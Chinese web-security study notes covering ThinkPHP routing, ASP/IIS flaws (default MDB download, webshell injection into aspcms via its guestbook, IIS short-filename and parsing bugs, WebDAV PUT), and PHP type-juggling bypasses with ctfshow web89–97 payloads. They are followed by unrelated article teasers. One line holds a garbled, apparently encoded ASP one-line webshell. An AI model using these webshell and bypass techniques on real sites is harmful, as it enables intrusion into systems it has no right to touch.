安全基础~web攻防特性1

文章目录

  • 知识补充
  • ASP安全
  • Aspx安全分析与未授权访问
  • php特性&web89~97
    • 靶场练习ctfshow

知识补充

使用thinkphp开发的框架,其首页访问指向public目录,指向其中的index.php文件
step1
step2
指向的index.php打开网页后是如下情况,代码如下
定义应用目录,是将文件首页展示在上图的application目录下,其下有index.php文件

// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

step3
application目录index.php文件
step4
thinkphp框架首页访问的目录
step5
想要得到的目录与首页的关系
http://127.0.0.1:8088/index.php/index/index/index
index.php为应用入口的文件,接着为index目录,index类(模块),index方法;

所以在一下目录创建另一个类,访问时,更换后面的方法即可。访问页面变为1index字符串
http://127.0.0.1:8088/index.php/index/index/ix
step6
http://127.0.0.1:8088/index.php/index/ceshi/test

test
HTTP 常见方法
文件路径的正斜杠(/)与反斜杠(\)

ASP安全

Microsoft Active Server Pages(ASP)是服务器端脚本编写环境。
主要包含MDB下载植入&IIS短文件名&写权限&解析

环境搭建组合windows iis  asp  access/sql server

主要包含ASP-数据库-MDB默认下载access数据库一般后缀名mdb(下载)、asp 、asa (执行解析)
mdb文件在网站目录下,思路:如果知道数据库的地址,可尝试下载获取数据库文件,获取当前管理员账号密码信息。
默认下载:使用asp+access数据库,却不修改默认mdb地址。IIS不能解析MDB文件,当成普通文件下载。(文件服务器端不会解释,客户端浏览器也不会解释,所以就下载到本地。)
思路:位置地址:如果没有修改默认数据库文件位置可尝试默认数据库配置(即本地搭建后默认存放的数据库文件与其他文件位置(比如admin后台管理页面等),没修改。)或采用扫描

ASP-数据库-ASP后门植入连接数据库是asp,asp可解析,向asp数据库文件写入一句话木马可以直接连上去,此时访问数据库文件将会被服务器当成代码文件执行,所以图片里面的代码就会被执行。
以aspcms为例:
aspcms主要是信息发布系统,数据库默认配置为asp,目录在/data/data.asp下。
漏洞成因:在留言板处对信息处理不当,导致代码注入。可直接将一句话木马插入数据库。
利用方法:保证默认数据库路径未更改且可留言。

┼攠數畣整爠煥敵瑳∨≡┩愾

ASP-中间件-IIS短文件名探针-安全漏洞为兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。
在Windows下查看对应的短文件名,可以使用命令 dir /x
短文件名特征:

\1) 只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。
\2) 后缀名最长只有3位,多余的被截断。
\3) 访问构造的某个存在的短文件名,会返回404
\4) 访问构造的某个不存在的短文件名,会返回400

ASP-中间件-IIS文件上传解析-安全漏洞在 Windows 2003 IIS 6.0 下有两个漏洞,IIS 6.0并不是只根据文件的最后一个后缀名来判断文件的运行方式,这就引发了IIS目录解析漏洞和文件名解析漏洞。
目录解析:对于名字为**.asp后缀的文件夹**,IIS会将该文件夹内部的文件都解析为.asp文件来执行。即a.asp/1.jpg中的1.jpg会作为asp文件执行。
文件名解析:对于名字诸如a.asp;.jpg文件,IIS并非以最后一个后缀名来判断格式,故会将其解析为asp文件并执行。即如果上传木马的后缀为 .asp;.jpg 就可以被服务器执行。

ASP-中间件-IIS配置目录读写-安全配置在web服务扩展中开启了WebDAV,配置了可以写入的权限,存在PUT任意文件写入漏洞。

web之ASP安全参考文章
小迪讲解参考
复现靶场应用:墨者_IIS写权限漏洞分析溯源

Aspx安全分析与未授权访问

未授权访问
判断用户的身份(后台有多个功能性的文件页面):

  1. 在每个文件里添加验证的代码,通常为cookie
  2. 创建一个专门的文件用于判断,其它验证文件包含它

找未授权访问

  1. 找那些没有包含验证代码的文件
  2. 判断验证代码是否有绕过的可能

.net是c#的框架,其源码反编译,课直接拖进ILSpy中。
aspx开发网站会存在信息泄露,在网站根目录下的web.config配置文件中customError设置,导致报错信息造成的信息泄露。

ASP.NET审计参考

php特性&web89~97

  • =====的区别:https://blog.csdn.net/qq_63792137/article/details/127594787
    弱=时,不比较类型,如==1时,1.0,+1,1a等都一样
    强=时,必须数据类型也一样
  • MD5 =====的比较
    若=用0e绕过,强=用数组绕过
  • intval缺陷绕过 int intval ( mixed $var [, int $base = 10 ] )
    php中intval函数 是用于获取变量的整数值,当后面的base为0时,可根据输入的进制数转为10进制。
    echo intval(4.2);                     // 4
    echo intval('42');                    // 42
    echo intval('+42');                   // 42
    echo intval('-42');                   // -42
    echo intval(042);                     // 34
    echo intval('042');                   // 42
    echo intval(1e10);                    // 10000000000
    echo intval(1e10);                    // 10000000000
    echo intval('1e10');                  // 10000000000
    echo intval(0x1A);                    // 26
    echo intval(42000000);                // 42000000
    echo intval(420000000000000000000);   // 0
    echo intval('420000000000000000000'); // 2147483647
    echo intval(42, 8);                   // 42
    echo intval('42', 8);                 // 34
    echo intval(array());                 // 0
    echo intval(array('foo', 'bar'));     // 1
    
  • strpos()函数,查找字符串在另一字符串中第一次出现的位置(区分大小写)
    eg
    可以利用换行进行绕过(%0a)url编码是回车换行,当返回的位置为0时,if判断也是false,所以输出的也是false。
  • in_array第三个参数安全
    bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )搜索数组中是否存在指定的值。
    第三个参数为true时,检查搜索的数据与数组的值的类型是否相同。
    eg1eg2
    PHP代码审计04之strpos函数使用不当
  • preg_match:用于执行一个全局正则表达式匹配
    preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错
    /i:不区分大小写
    /m:换行匹配
    eg
  • str_replace:其他字符替换字符串中的一些字符,开发中用于过滤某些字符串
    但是其仅仅只过滤一次,所以可以双写进行绕过
    eg

靶场练习ctfshow

web89:数组绕过

include("flag.php");
highlight_file(__FILE__);if(isset($_GET['num'])){$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){die("no no no!");}if(intval($num)){echo $flag;}
}

pyload:?num[]=1

web90:强类型比较

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(intval($num,0)===4476){echo $flag;}else{echo intval($num,0);}
}

pyload:?num=4476.0或0x117c

web91:/m换行匹配

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){if(preg_match('/^php$/i', $a)){echo 'hacker';}else{echo $flag;}
}
else{echo 'nonononono';
}

pyload:?cmd=%0aphp

web92:弱类型比较

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}
}

pyload:?num=4476.1abc

web93:弱类型,过滤字母

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);}
}

pyload:?num=4476.1或8进制绕过

web94:强类型,必须为整数,判断传入是否有0

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){die("no no no!");}if(intval($num,0)===4476){echo $flag;}
}

pyload:?num=%20010574或用%0a绕过(20为空格)

web95:与上题一样,多过滤了一个“.”

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){die("no no no!!");}if(!strpos($num, "0")){die("no no no!!!");}if(intval($num,0)===4476){echo $flag;}
}

pyload:?num=%20010574或用%0a绕过(20为空格)

web96:访问当前目录文件

highlight_file(__FILE__);if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);}
}

pyload:?u=./flag.php

web97:MD5强=绕过

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

pyload:a[]=1&b[]=s

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/629750.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机网络——第三层:网络层

1. IP数据报 1.1 IPV4数据报 1.1.1 IPv4数据报的结构 如图按照RFC 791规范显示了一个IPv4数据包头部的不同字段 IPv4头部通常包括以下部分: 1.1.1.1 版本(Version) 指明了IP协议的版本,IPv4表示为4。 1.1.1.2 头部长度&#x…

【机器学习入门】机器学习基础概念与原理

*(本篇文章旨在帮助新手了解机器学习的基础概念和原理,不深入讨论算法及核心公式) 目录 一、机器学习概念 1、什么是机器学习? 2、常见机器学习算法和模型 3、使用Python编程语言进行机器学习实践 4、机器学习的应用领域 二…

nxp s32k144芯片使用J-LINK程序刷写

1.nxp s32k144 (1)打开软件:J-Flash V6.30j (2)新建工程:file->new project (3)选择芯片型号和 target interface (4)可以保存芯片和接口配置 (5)打开程序:File->open data file (6)程序刷写:T…

Linux下安装Mysql【CentOS7 】

Linux下安装Mysql 一、Linux下安装Mysql-5.7.41【tar包下载安装】1.1.首先检查是否已经安装过mysql1.2.下载Linux版本的Mysql-5.71.3.解压缩1.4.安装执行 rpm 安装包需要先下载 openssl-devel 插件1.5.安装 Mysql5.7 执行 rpm 安装包1.6.Mysql相关操作命令1.7.查看Mysql-5.7 临…

Hadoop集群配置及测试

Hadoop集群配置及测试 NameNode与SecondaryNameNode最好不在同一服务器 ResourceManager较为消耗资源,因而和NameNode与SecondaryNameNode最好不在同一服务器。 配置文件 hadoop102hadoop103hadoop104HDFSNameNodeDataNodeDataNodeSecondaryNameNodeDataNodeYAR…

快速上手的 AI 工具-文心一言

简介 最近正打得火热的AIGC概念,相信大家肯定也都多少接触到了,那么AIGC概念股到底是什么呢?我个人最近也看了一些平台如:文心一言、通义千问、讯飞星火、豆包等等!各位朋友也千万不要错过啦,真是各有各的特…

VC++中使用OpenCV读取图像、读取本地视频、读取摄像头并实时显示

VC中使用OpenCV读取图像、读取本地视频、读取摄像头并实时显示 最近闲着跟着油管博主murtazahassan,学习了一下LEARN OPENCV C in 4 HOURS | Including 3x Projects | Computer Vision,对应的Github源代码地址为:Learn-OpenCV-cpp-in-4-Hour…

顺序表(C/C++)

本篇将讲解一些关于顺序表的内容,顺序表分为静态顺序表和动态顺序表,其中经常用到的为动态顺序表,所以本篇将以动态顺序表为重点给出一些关于动态顺序表的操作。 因为顺序表的实现逻辑较为简单,对于代码的讲解大多以注释给出。 1…

PLSQL去除一个字符串中的数字

PLSQL去除一个字符串中的数字 SQL Select regexp_replace(abc1234ABC678aaad590AAA, [0-9], ) As 去数字后From dual;效果

11.2 PCL从ROS获取激光雷达的点云数据及处理

这部分内容结合了前面的内容。其实很简单,分三步走就可以:首先是通过ROS打开激光雷达,查看PCL配置需要的信息。然后是用PCL通过ROS发布的topic获取激光雷达的数据。最后将ROS和PCL结合。 实现上面两步的前提是我们已经部署好了ROS环境及PCL环…

python下常用的爬虫模块

目录 一:requests 二:BeautifulSoup 三:Scrapy 四:Selenium 一:requests requests 是一个用于发送 HTTP 请求的 Python 库。它提供了简洁的 API 来发送各种类型的 HTTP 请求,如 GET、POST、PUT、DELETE…

AP8851L 宽电压降压恒压DC-DC 电源管理芯片

产品描述 AP8851L 一款宽电压范围降压型 DC-DC 电源管理芯片,内部集成使能 开关控制、基准电源、误差放大器、过 热保护、限流保护、短路保护等功能, 非常适合在宽输入电压范围具有优良 的负载和线性调整度。 AP8851L 芯片包含每周期的峰值 限流、…

C++力扣题目40--组合总和II

力扣题目链接(opens new window) 给定一个数组 candidates 和一个目标数 target ,找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数字在每个组合中只能使用一次。 说明: 所有数字(包括目标数)都是…

数据仓库面试题

1 思维导图&数仓常见面试题 2 题目 1. 数据仓库是什么? 数据仓库是一个面向主题的(订单、支付、退单等)、集成的(整合多个信息源的大量数据)、非易失的(一般不会进行删除和修改操作)且随时…

低声下气捧于正,嘉行还“行”不“行”?

随着祝绪丹辞演于正新剧一事愈演愈烈,嘉行传媒又站上了舆论的风口浪尖。 事情的起因是于正的新剧开机,演员阵容和此前透露的有所差别,他声称明明已经与嘉行传媒艺人祝绪丹谈好合作,对方却为了另一部剧的女一号而放了他鸽子。 网…

【Java】十年老司机转开发语言,新小白从学习路线图开始

欢迎来到《小5讲堂》 大家好,我是全栈小5。 这是《Java》序列文章,每篇文章将以博主理解的角度展开讲解, 特别是针对知识点的概念进行叙说,大部分文章将会对这些概念进行实际例子验证,以此达到加深对知识点的理解和掌握…

Elasticsearch各种文档操作

本文来记录下Elasticsearch各种文档操作 文章目录 初始化文档数据查询所有文档匹配查询文档关键字精确查询文档多关键字精确查询文档字段匹配查询文档指定查询字段查询文档 初始化文档数据 在进行各种文档操作之前,我们先进行初始化文档数据的工作 查询所有文档 在 …

SpringMVC参数接收见解4

# 4.参数接收Springmvc中,接收页面提交的数据是通过方法形参来接收: 处理器适配器调用springmvc使用反射将前端提交的参数传递给controller方法的形参 springmvc接收的参数都是String类型,所以spirngmvc提供了很多converter(转换…

【控制篇 / 分流】(7.4) ❀ 02. 对不同运营商IP网段访问进行分流 ❀ FortiGate 防火墙

【简介】公司有两条宽带用来上网,一条电信,一条联通,访问常用的某些网站速度时快时慢。领导要求,根据上网流量的目标运营商IP归属,将流量送到相应的运营商出口去,避免跨运营商上网。那么应该怎么做&#xf…

用julia演示蝴蝶效应:洛伦兹吸引子

文章目录 Lorentz吸引子julia绘图关闭抗锯齿 蝴蝶效应的名字来源于蝴蝶扇动翅膀的动作,虽然这个动作微小,但可能会在数周后引起飓风等极端天气的发生。这种现象表明,微小的变化可能会被放大并产生非线性的结果。这个概念最早由美国气象学家爱…